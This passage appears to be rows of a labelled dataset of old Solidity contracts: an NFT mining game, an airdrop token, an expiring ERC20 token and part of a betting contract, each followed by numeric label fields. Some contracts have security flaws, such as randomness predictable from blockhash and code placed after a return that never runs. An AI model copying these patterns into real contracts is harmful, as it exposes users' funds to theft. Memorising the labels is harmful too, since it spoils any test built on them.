actionContracts[_actionAddr] = _useful;
}
function getActionContract(address _actionAddr) external view onlyAdmin returns(bool) {
return actionContracts[_actionAddr];
}
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event CreateFashion(address indexed owner, uint256 tokenId, uint16 equipmentId, uint16 quality, uint16 pos, uint16 level, uint16 createType);
event ChangeFashion(address indexed owner, uint256 tokenId, uint16 changeType);
event DeleteFashion(address indexed owner, uint256 tokenId, uint16 deleteType);
function RaceToken() public {
addrAdmin = msg.sender;
fashionArray.length += 1;
}
modifier isValidToken(uint256 _tokenId) {
require(_tokenId >= 1 && _tokenId <= fashionArray.length);
require(fashionIdToOwner[_tokenId] != address(0));
_;
}
modifier canTransfer(uint256 _tokenId) {
address owner = fashionIdToOwner[_tokenId];
require(msg.sender == owner || msg.sender == fashionIdToApprovals[_tokenId] || operatorToApprovals[owner][msg.sender]);
_;
}
function supportsInterface(bytes4 _interfaceId) external view returns(bool) {
return (_interfaceId == 0x01ffc9a7 || _interfaceId == 0x80ac58cd || _interfaceId == 0x8153916a) && (_interfaceId != 0xffffffff);
}
function name() public pure returns(string) {
return "Race Token";
}
function symbol() public pure returns(string) {
return "Race";
}
function balanceOf(address _owner) external view returns(uint256) {
require(_owner != address(0));
return ownerToFashionArray[_owner].length;
}
function ownerOf(uint256 _tokenId) external view returns (address owner) {
return fashionIdToOwner[_tokenId];
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data)
external
whenNotPaused
{
_safeTransferFrom(_from, _to, _tokenId, data);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
external
whenNotPaused
{
_safeTransferFrom(_from, _to, _tokenId, "");
}
function transferFrom(address _from, address _to, uint256 _tokenId)
external
whenNotPaused
isValidToken(_tokenId)
canTransfer(_tokenId)
{
address owner = fashionIdToOwner[_tokenId];
require(owner != address(0));
require(_to != address(0));
require(owner == _from);
_transfer(_from, _to, _tokenId);
}
function approve(address _approved, uint256 _tokenId)
external
whenNotPaused
{
address owner = fashionIdToOwner[_tokenId];
require(owner != address(0));
require(msg.sender == owner || operatorToApprovals[owner][msg.sender]);
fashionIdToApprovals[_tokenId] = _approved;
Approval(owner, _approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved)
external
whenNotPaused
{
operatorToApprovals[msg.sender][_operator] = _approved;
ApprovalForAll(msg.sender, _operator, _approved);
}
function getApproved(uint256 _tokenId) external view isValidToken(_tokenId) returns (address) {
return fashionIdToApprovals[_tokenId];
}
function isApprovedForAll(address _owner, address _operator) external view returns (bool) {
return operatorToApprovals[_owner][_operator];
}
function totalSupply() external view returns (uint256) {
return fashionArray.length - destroyFashionCount - 1;
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
if (_from != address(0)) {
uint256 indexFrom = fashionIdToOwnerIndex[_tokenId];
uint256[] storage fsArray = ownerToFashionArray[_from];
require(fsArray[indexFrom] == _tokenId);
if (indexFrom != fsArray.length - 1) {
uint256 lastTokenId = fsArray[fsArray.length - 1];
fsArray[indexFrom] = lastTokenId;
fashionIdToOwnerIndex[lastTokenId] = indexFrom;
}
fsArray.length -= 1;
if (fashionIdToApprovals[_tokenId] != address(0)) {
delete fashionIdToApprovals[_tokenId];
}
}
fashionIdToOwner[_tokenId] = _to;
ownerToFashionArray[_to].push(_tokenId);
fashionIdToOwnerIndex[_tokenId] = ownerToFashionArray[_to].length - 1;
Transfer(_from != address(0) ? _from : this, _to, _tokenId);
}
function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data)
internal
isValidToken(_tokenId)
canTransfer(_tokenId)
{
address owner = fashionIdToOwner[_tokenId];
require(owner != address(0));
require(_to != address(0));
require(owner == _from);
_transfer(_from, _to, _tokenId);
uint256 codeSize;
assembly { codeSize := extcodesize(_to) }
if (codeSize == 0) {
return;
}
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(_from, _tokenId, data);
require(retval == 0xf0b9e5ba);
}
function createFashion(address _owner, uint16[13] _attrs, uint16 _createType)
external
whenNotPaused
returns(uint256)
{
require(actionContracts[msg.sender]);
require(_owner != address(0));
uint256 newFashionId = fashionArray.length;
require(newFashionId < 4294967296);
fashionArray.length += 1;
Fashion storage fs = fashionArray[newFashionId];
fs.equipmentId = _attrs[0];
fs.quality = _attrs[1];
fs.pos = _attrs[2];
if (_attrs[3] != 0) {
fs.production = _attrs[3];
}
if (_attrs[4] != 0) {
fs.attack = _attrs[4];
}
if (_attrs[5] != 0) {
fs.defense = _attrs[5];
}
if (_attrs[6] != 0) {
fs.plunder = _attrs[6];
}
if (_attrs[7] != 0) {
fs.productionMultiplier = _attrs[7];
}
if (_attrs[8] != 0) {
fs.attackMultiplier = _attrs[8];
}
if (_attrs[9] != 0) {
fs.defenseMultiplier = _attrs[9];
}
if (_attrs[10] != 0) {
fs.plunderMultiplier = _attrs[10];
}
if (_attrs[11] != 0) {
fs.level = _attrs[11];
}
if (_attrs[12] != 0) {
fs.isPercent = _attrs[12];
}
_transfer(0, _owner, newFashionId);
CreateFashion(_owner, newFashionId, _attrs[0], _attrs[1], _attrs[2], _attrs[11], _createType);
return newFashionId;
}
function _changeAttrByIndex(Fashion storage _fs, uint16 _index, uint16 _val) internal {
if (_index == 3) {
_fs.production = _val;
} else if(_index == 4) {
_fs.attack = _val;
} else if(_index == 5) {
_fs.defense = _val;
} else if(_index == 6) {
_fs.plunder = _val;
}else if(_index == 7) {
_fs.productionMultiplier = _val;
}else if(_index == 8) {
_fs.attackMultiplier = _val;
}else if(_index == 9) {
_fs.defenseMultiplier = _val;
}else if(_index == 10) {
_fs.plunderMultiplier = _val;
} else if(_index == 11) {
_fs.level = _val;
}
}
function changeFashionAttr(uint256 _tokenId, uint16[4] _idxArray, uint16[4] _params, uint16 _changeType)
external
whenNotPaused
isValidToken(_tokenId)
{
require(actionContracts[msg.sender]);
Fashion storage fs = fashionArray[_tokenId];
if (_idxArray[0] > 0) {
_changeAttrByIndex(fs, _idxArray[0], _params[0]);
}
if (_idxArray[1] > 0) {
_changeAttrByIndex(fs, _idxArray[1], _params[1]);
}
if (_idxArray[2] > 0) {
_changeAttrByIndex(fs, _idxArray[2], _params[2]);
}
if (_idxArray[3] > 0) {
_changeAttrByIndex(fs, _idxArray[3], _params[3]);
}
ChangeFashion(fashionIdToOwner[_tokenId], _tokenId, _changeType);
}
function destroyFashion(uint256 _tokenId, uint16 _deleteType)
external
whenNotPaused
isValidToken(_tokenId)
{
require(actionContracts[msg.sender]);
address _from = fashionIdToOwner[_tokenId];
uint256 indexFrom = fashionIdToOwnerIndex[_tokenId];
uint256[] storage fsArray = ownerToFashionArray[_from];
require(fsArray[indexFrom] == _tokenId);
if (indexFrom != fsArray.length - 1) {
uint256 lastTokenId = fsArray[fsArray.length - 1];
fsArray[indexFrom] = lastTokenId;
fashionIdToOwnerIndex[lastTokenId] = indexFrom;
}
fsArray.length -= 1;
fashionIdToOwner[_tokenId] = address(0);
delete fashionIdToOwnerIndex[_tokenId];
destroyFashionCount += 1;
Transfer(_from, 0, _tokenId);
DeleteFashion(_from, _tokenId, _deleteType);
}
function safeTransferByContract(uint256 _tokenId, address _to)
external
whenNotPaused
{
require(actionContracts[msg.sender]);
require(_tokenId >= 1 && _tokenId <= fashionArray.length);
address owner = fashionIdToOwner[_tokenId];
require(owner != address(0));
require(_to != address(0));
require(owner != _to);
_transfer(owner, _to, _tokenId);
}
function getFashion(uint256 _tokenId) external view isValidToken(_tokenId) returns (uint16[13] datas) {
Fashion storage fs = fashionArray[_tokenId];
datas[0] = fs.equipmentId;
datas[1] = fs.quality;
datas[2] = fs.pos;
datas[3] = fs.production;
datas[4] = fs.attack;
datas[5] = fs.defense;
datas[6] = fs.plunder;
datas[7] = fs.productionMultiplier;
datas[8] = fs.attackMultiplier;
datas[9] = fs.defenseMultiplier;
datas[10] = fs.plunderMultiplier;
datas[11] = fs.level;
datas[12] = fs.isPercent;
}
function getOwnFashions(address _owner) external view returns(uint256[] tokens, uint32[] flags) {
require(_owner != address(0));
uint256[] storage fsArray = ownerToFashionArray[_owner];
uint256 length = fsArray.length;
tokens = new uint256[](length);
flags = new uint32[](length);
for (uint256 i = 0; i < length; ++i) {
tokens[i] = fsArray[i];
Fashion storage fs = fashionArray[fsArray[i]];
flags[i] = uint32(uint32(fs.equipmentId) * 100 + uint32(fs.quality) * 10 + fs.pos);
}
}
function getFashionsAttrs(uint256[] _tokens) external view returns(uint16[] attrs) {
uint256 length = _tokens.length;
require(length <= 64);
attrs = new uint16[](length * 13);
uint256 tokenId;
uint256 index;
for (uint256 i = 0; i < length; ++i) {
tokenId = _tokens[i];
if (fashionIdToOwner[tokenId] != address(0)) {
index = i * 13;
Fashion storage fs = fashionArray[tokenId];
attrs[index] = fs.equipmentId;
attrs[index + 1] = fs.quality;
attrs[index + 2] = fs.pos;
attrs[index + 3] = fs.production;
attrs[index + 4] = fs.attack;
attrs[index + 5] = fs.defense;
attrs[index + 6] = fs.plunder;
attrs[index + 7] = fs.productionMultiplier;
attrs[index + 8] = fs.attackMultiplier;
attrs[index + 9] = fs.defenseMultiplier;
attrs[index + 10] = fs.plunderMultiplier;
attrs[index + 11] = fs.level;
attrs[index + 12] = fs.isPercent;
}
}
}
}
contract ChestMining is Random, AccessService {
using SafeMath for uint256;
event MiningOrderCreated(uint256 indexed index, address indexed miner, uint64 chestCnt);
event MiningResolved(uint256 indexed index, address indexed miner, uint64 chestCnt);
struct MiningOrder {
address miner;
uint64 chestCnt;
uint64 tmCreate;
uint64 tmResolve;
}
uint16 maxProtoId;
uint256 constant prizePoolPercent = 80;
address poolContract;
RaceToken public tokenContract;
IDataMining public dataContract;
MiningOrder[] public ordersArray;
mapping (uint16 => uint256) public protoIdToCount;
function ChestMining(address _nftAddr, uint16 _maxProtoId) public {
addrAdmin = msg.sender;
addrService = msg.sender;
addrFinance = msg.sender;
tokenContract = RaceToken(_nftAddr);
maxProtoId = _maxProtoId;
MiningOrder memory order = MiningOrder(0, 0, 1, 1);
ordersArray.push(order);
}
function() external payable {
}
function getOrderCount() external view returns(uint256) {
return ordersArray.length - 1;
}
function setDataMining(address _addr) external onlyAdmin {
require(_addr != address(0));
dataContract = IDataMining(_addr);
}
function setPrizePool(address _addr) external onlyAdmin {
require(_addr != address(0));
poolContract = _addr;
}
function setMaxProtoId(uint16 _maxProtoId) external onlyAdmin {
require(_maxProtoId > 0 && _maxProtoId < 10000);
require(_maxProtoId != maxProtoId);
maxProtoId = _maxProtoId;
}
function setFashionSuitCount(uint16 _protoId, uint256 _cnt) external onlyAdmin {
require(_protoId > 0 && _protoId <= maxProtoId);
require(_cnt > 0 && _cnt <= 8);
require(protoIdToCount[_protoId] != _cnt);
protoIdToCount[_protoId] = _cnt;
}
function _getFashionParam(uint256 _seed) internal view returns(uint16[13] attrs) {
uint256 curSeed = _seed;
uint256 rdm = curSeed % 10000;
uint16 qtyParam;
if (rdm < 6900) {
attrs[1] = 1;
qtyParam = 0;
} else if (rdm < 8700) {
attrs[1] = 2;
qtyParam = 1;
} else if (rdm < 9600) {
attrs[1] = 3;
qtyParam = 2;
} else if (rdm < 9900) {
attrs[1] = 4;
qtyParam = 4;
} else {
attrs[1] = 5;
qtyParam = 7;
}
curSeed /= 10000;
rdm = ((curSeed % 10000) / (9999 / maxProtoId)) + 1;
attrs[0] = uint16(rdm <= maxProtoId ? rdm : maxProtoId);
curSeed /= 10000;
uint256 tmpVal = protoIdToCount[attrs[0]];
if (tmpVal == 0) {
tmpVal = 8;
}
rdm = ((curSeed % 10000) / (9999 / tmpVal)) + 1;
uint16 pos = uint16(rdm <= tmpVal ? rdm : tmpVal);
attrs[2] = pos;
rdm = attrs[0] % 3;
curSeed /= 10000;
tmpVal = (curSeed % 10000) % 21 + 90;
if (rdm == 0) {
if (pos == 1) {
attrs[3] = uint16((20 + qtyParam * 20) * tmpVal / 100);
} else if (pos == 2) {
attrs[4] = uint16((100 + qtyParam * 100) * tmpVal / 100);
} else if (pos == 3) {
attrs[5] = uint16((15 + qtyParam * 15) * tmpVal / 100);
} else if (pos == 4) {
attrs[6] = uint16((500 + qtyParam * 500) * tmpVal / 100);
} else if (pos == 5) {
attrs[7] = uint16((4 + qtyParam * 4) * tmpVal / 100);
} else if (pos == 6) {
attrs[8] = uint16((5 + qtyParam * 5) * tmpVal / 100);
} else if (pos == 7) {
attrs[9] = uint16((5 + qtyParam * 5) * tmpVal / 100);
} else {
attrs[10] = uint16((4 + qtyParam * 4) * tmpVal / 100);
}
} else if (rdm == 1) {
if (pos == 1) {
attrs[3] = uint16((19 + qtyParam * 19) * tmpVal / 100);
} else if (pos == 2) {
attrs[4] = uint16((90 + qtyParam * 90) * tmpVal / 100);
} else if (pos == 3) {
attrs[5] = uint16((14 + qtyParam * 14) * tmpVal / 100);
} else if (pos == 4) {
attrs[6] = uint16((450 + qtyParam * 450) * tmpVal / 100);
} else if (pos == 5) {
attrs[7] = uint16((3 + qtyParam * 3) * tmpVal / 100);
} else if (pos == 6) {
attrs[8] = uint16((4 + qtyParam * 4) * tmpVal / 100);
} else if (pos == 7) {
attrs[9] = uint16((4 + qtyParam * 4) * tmpVal / 100);
} else {
attrs[10] = uint16((3 + qtyParam * 3) * tmpVal / 100);
}
} else {
if (pos == 1) {
attrs[3] = uint16((21 + qtyParam * 21) * tmpVal / 100);
} else if (pos == 2) {
attrs[4] = uint16((110 + qtyParam * 110) * tmpVal / 100);
} else if (pos == 3) {
attrs[5] = uint16((16 + qtyParam * 16) * tmpVal / 100);
} else if (pos == 4) {
attrs[6] = uint16((550 + qtyParam * 550) * tmpVal / 100);
} else if (pos == 5) {
attrs[7] = uint16((5 + qtyParam * 5) * tmpVal / 100);
} else if (pos == 6) {
attrs[8] = uint16((6 + qtyParam * 6) * tmpVal / 100);
} else if (pos == 7) {
attrs[9] = uint16((6 + qtyParam * 6) * tmpVal / 100);
} else {
attrs[10] = uint16((5 + qtyParam * 5) * tmpVal / 100);
}
}
attrs[11] = 0;
attrs[12] = 0;
}
function _addOrder(address _miner, uint64 _chestCnt) internal {
uint64 newOrderId = uint64(ordersArray.length);
ordersArray.length += 1;
MiningOrder storage order = ordersArray[newOrderId];
order.miner = _miner;
order.chestCnt = _chestCnt;
order.tmCreate = uint64(block.timestamp);
emit MiningOrderCreated(newOrderId, _miner, _chestCnt);
}
function _transferHelper(uint256 ethVal) private {
uint256 fVal;
uint256 pVal;
fVal = ethVal.mul(prizePoolPercent).div(100);
pVal = ethVal.sub(fVal);
addrFinance.transfer(pVal);
if (poolContract != address(0) && pVal > 0) {
poolContract.transfer(fVal);
}
}
function miningOneFree()
external
payable
whenNotPaused
{
require(dataContract != address(0));
uint256 seed = _rand();
uint16[13] memory attrs = _getFashionParam(seed);
require(dataContract.subFreeMineral(msg.sender));
tokenContract.createFashion(msg.sender, attrs, 3);
emit MiningResolved(0, msg.sender, 1);
}
function miningOneSelf()
external
payable
whenNotPaused
{
require(msg.value >= 0.01 ether);
uint256 seed = _rand();
uint16[13] memory attrs = _getFashionParam(seed);
tokenContract.createFashion(msg.sender, attrs, 2);
_transferHelper(0.01 ether);
if (msg.value > 0.01 ether) {
msg.sender.transfer(msg.value - 0.01 ether);
}
emit MiningResolved(0, msg.sender, 1);
}
function miningThreeSelf()
external
payable
whenNotPaused
{
require(msg.value >= 0.03 ether);
for (uint64 i = 0; i < 3; ++i) {
uint256 seed = _rand();
uint16[13] memory attrs = _getFashionParam(seed);
tokenContract.createFashion(msg.sender, attrs, 2);
}
_transferHelper(0.03 ether);
if (msg.value > 0.03 ether) {
msg.sender.transfer(msg.value - 0.03 ether);
}
emit MiningResolved(0, msg.sender, 3);
}
function miningFiveSelf()
external
payable
whenNotPaused
{
require(msg.value >= 0.0475 ether);
for (uint64 i = 0; i < 5; ++i) {
uint256 seed = _rand();
uint16[13] memory attrs = _getFashionParam(seed);
tokenContract.createFashion(msg.sender, attrs, 2);
}
_transferHelper(0.0475 ether);
if (msg.value > 0.0475 ether) {
msg.sender.transfer(msg.value - 0.0475 ether);
}
emit MiningResolved(0, msg.sender, 5);
}
function miningTenSelf()
external
payable
whenNotPaused
{
require(msg.value >= 0.09 ether);
for (uint64 i = 0; i < 10; ++i) {
uint256 seed = _rand();
uint16[13] memory attrs = _getFashionParam(seed);
tokenContract.createFashion(msg.sender, attrs, 2);
}
_transferHelper(0.09 ether);
if (msg.value > 0.09 ether) {
msg.sender.transfer(msg.value - 0.09 ether);
}
emit MiningResolved(0, msg.sender, 10);
}
function miningOne()
external
payable
whenNotPaused
{
require(msg.value >= 0.01 ether);
_addOrder(msg.sender, 1);
_transferHelper(0.01 ether);
if (msg.value > 0.01 ether) {
msg.sender.transfer(msg.value - 0.01 ether);
}
}
function miningThree()
external
payable
whenNotPaused
{
require(msg.value >= 0.03 ether);
_addOrder(msg.sender, 3);
_transferHelper(0.03 ether);
if (msg.value > 0.03 ether) {
msg.sender.transfer(msg.value - 0.03 ether);
}
}
function miningFive()
external
payable
whenNotPaused
{
require(msg.value >= 0.0475 ether);
_addOrder(msg.sender, 5);
_transferHelper(0.0475 ether);
if (msg.value > 0.0475 ether) {
msg.sender.transfer(msg.value - 0.0475 ether);
}
}
function miningTen()
external
payable
whenNotPaused
{
require(msg.value >= 0.09 ether);
_addOrder(msg.sender, 10);
_transferHelper(0.09 ether);
if (msg.value > 0.09 ether) {
msg.sender.transfer(msg.value - 0.09 ether);
}
}
function miningResolve(uint256 _orderIndex, uint256 _seed)
external
onlyService
{
require(_orderIndex > 0 && _orderIndex < ordersArray.length);
MiningOrder storage order = ordersArray[_orderIndex];
require(order.tmResolve == 0);
address miner = order.miner;
require(miner != address(0));
uint64 chestCnt = order.chestCnt;
require(chestCnt >= 1 && chestCnt <= 10);
uint256 rdm = _seed;
uint16[13] memory attrs;
for (uint64 i = 0; i < chestCnt; ++i) {
rdm = _randBySeed(rdm);
attrs = _getFashionParam(rdm);
tokenContract.createFashion(miner, attrs, 2);
}
order.tmResolve = uint64(block.timestamp);
emit MiningResolved(_orderIndex, miner, chestCnt);
}
} | 0 | 553 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Token {
function distr(address _to, uint256 _value) public returns (bool);
function totalSupply() constant public returns (uint256 supply);
function balanceOf(address _owner) constant public returns (uint256 balance);
}
contract BitcoinHODL is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public constant name = "Bitcoin HODL";
string public constant symbol = "BITE";
uint public constant decimals = 8;
uint256 public totalSupply = 1000000000e8;
uint256 public totalDistributed = 100000000e8;
uint256 public totalRemaining = totalSupply.sub(totalDistributed);
uint256 public value;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function BitcoinHODL () public {
owner = msg.sender;
value = 4000e8;
distr(owner, totalDistributed);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function enableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = false;
}
}
function disableWhitelist(address[] addresses) onlyOwner public {
for (uint i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = true;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
Distr(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function airdrop(address[] addresses) onlyOwner canDistr public {
require(addresses.length <= 255);
require(value <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(value <= totalRemaining);
distr(addresses[i], value);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
require(addresses.length <= 255);
require(amount <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(amount <= totalRemaining);
distr(addresses[i], amount);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr onlyWhitelist public {
if (value > totalRemaining) {
value = totalRemaining;
}
require(value <= totalRemaining);
address investor = msg.sender;
uint256 toGive = value;
distr(investor, toGive);
if (toGive > 0) {
blacklist[investor] = true;
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
value = value.div(100000).mul(99999);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
uint256 etherBalance = this.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 1 | 4,309 |
pragma solidity ^0.4.24;
contract Expirable {
uint public expireAfter;
function isExpired() public view returns (bool expire) {
return block.timestamp > expireAfter;
}
}
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a, "Safe ADD check");
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a, "Safe SUB check");
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b, "Safe MUL check");
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0, "Safe DIV check");
c = a / b;
}
}
contract ApproveAndCallFallback {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner, "Only owner allowed");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner, "Only owner allowed");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract NextToken is ERC20Interface, Owned, SafeMath, Expirable {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "NXT";
name = "NXT Token for NEC2018";
decimals = 0;
uint base = 10;
_totalSupply = 1000000 * (base ** decimals);
expireAfter = block.timestamp + 86400 * 30;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(!isExpired(), "The token is expired");
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallback(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert("ETH not acceptable");
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 0 | 1,948 |
pragma solidity ^0.4.24;
contract Control
{
mapping(address => uint8) public agents;
modifier onlyADM()
{
require(agents[msg.sender] == 1);
_;
}
event ChangePermission(address indexed _called, address indexed _agent, uint8 _value);
function changePermission(address _agent, uint8 _value) public onlyADM()
{
require(msg.sender != _agent);
agents[_agent] = _value;
ChangePermission(msg.sender, _agent, _value);
}
bool public status;
event ChangeStatus(address indexed _called, bool _value);
function changeStatus(bool _value) public onlyADM()
{
status = _value;
ChangeStatus(msg.sender, _value);
}
modifier onlyRun()
{
require(status);
_;
}
event WithdrawWEI(address indexed _called, address indexed _to, uint256 _wei, uint8 indexed _type);
uint256 private totalDonateWEI;
event Donate(address indexed _from, uint256 _value);
function () payable
{
totalDonateWEI = totalDonateWEI + msg.value;
Donate(msg.sender, msg.value);
}
function getTotalDonateWEIInfo() public onlyADM() constant returns(uint256)
{
return totalDonateWEI;
}
function withdrawDonateWEI(address _to) public onlyADM()
{
_to.transfer(totalDonateWEI);
WithdrawWEI(msg.sender, _to, totalDonateWEI, 1);
totalDonateWEI = 0;
}
function Control()
{
agents[msg.sender] = 1;
status = true;
}
}
contract Core is Control
{
function random(uint256 _min, uint256 _max) public constant returns(uint256)
{
return uint256(sha3(block.blockhash(block.number - 1))) % (_min + _max) - _min;
}
uint256 public betSizeFINNEY;
uint256 public totalBets;
uint256 public limitAgentBets;
uint256 public roundNum;
uint256 public betsNum;
uint256 public commissionPCT;
bool public commissionType;
uint256 private bankBalanceWEI;
uint256 private commissionBalanceWEI;
uint256 private overBalanceWEI;
uint256 public timeoutSEC;
uint256 public lastBetTimeSEC;
function getOverBalanceWEIInfo() public onlyADM() constant returns(uint256)
{
return overBalanceWEI;
}
function getBankBalanceWEIInfo() public onlyADM() constant returns(uint256)
{
return bankBalanceWEI;
}
function getCommissionBalanceWEIInfo() public onlyADM() constant returns(uint256)
{
return commissionBalanceWEI;
}
function withdrawOverBalanceWEI(address _to) public onlyADM()
{
_to.transfer(overBalanceWEI);
WithdrawWEI(msg.sender, _to, overBalanceWEI, 2);
overBalanceWEI = 0;
}
function withdrawCommissionBalanceWEI(address _to) public onlyADM()
{
_to.transfer(commissionBalanceWEI);
WithdrawWEI(msg.sender, _to, commissionBalanceWEI, 3);
commissionBalanceWEI = 0;
}
mapping(address => uint256) private agentAddressId;
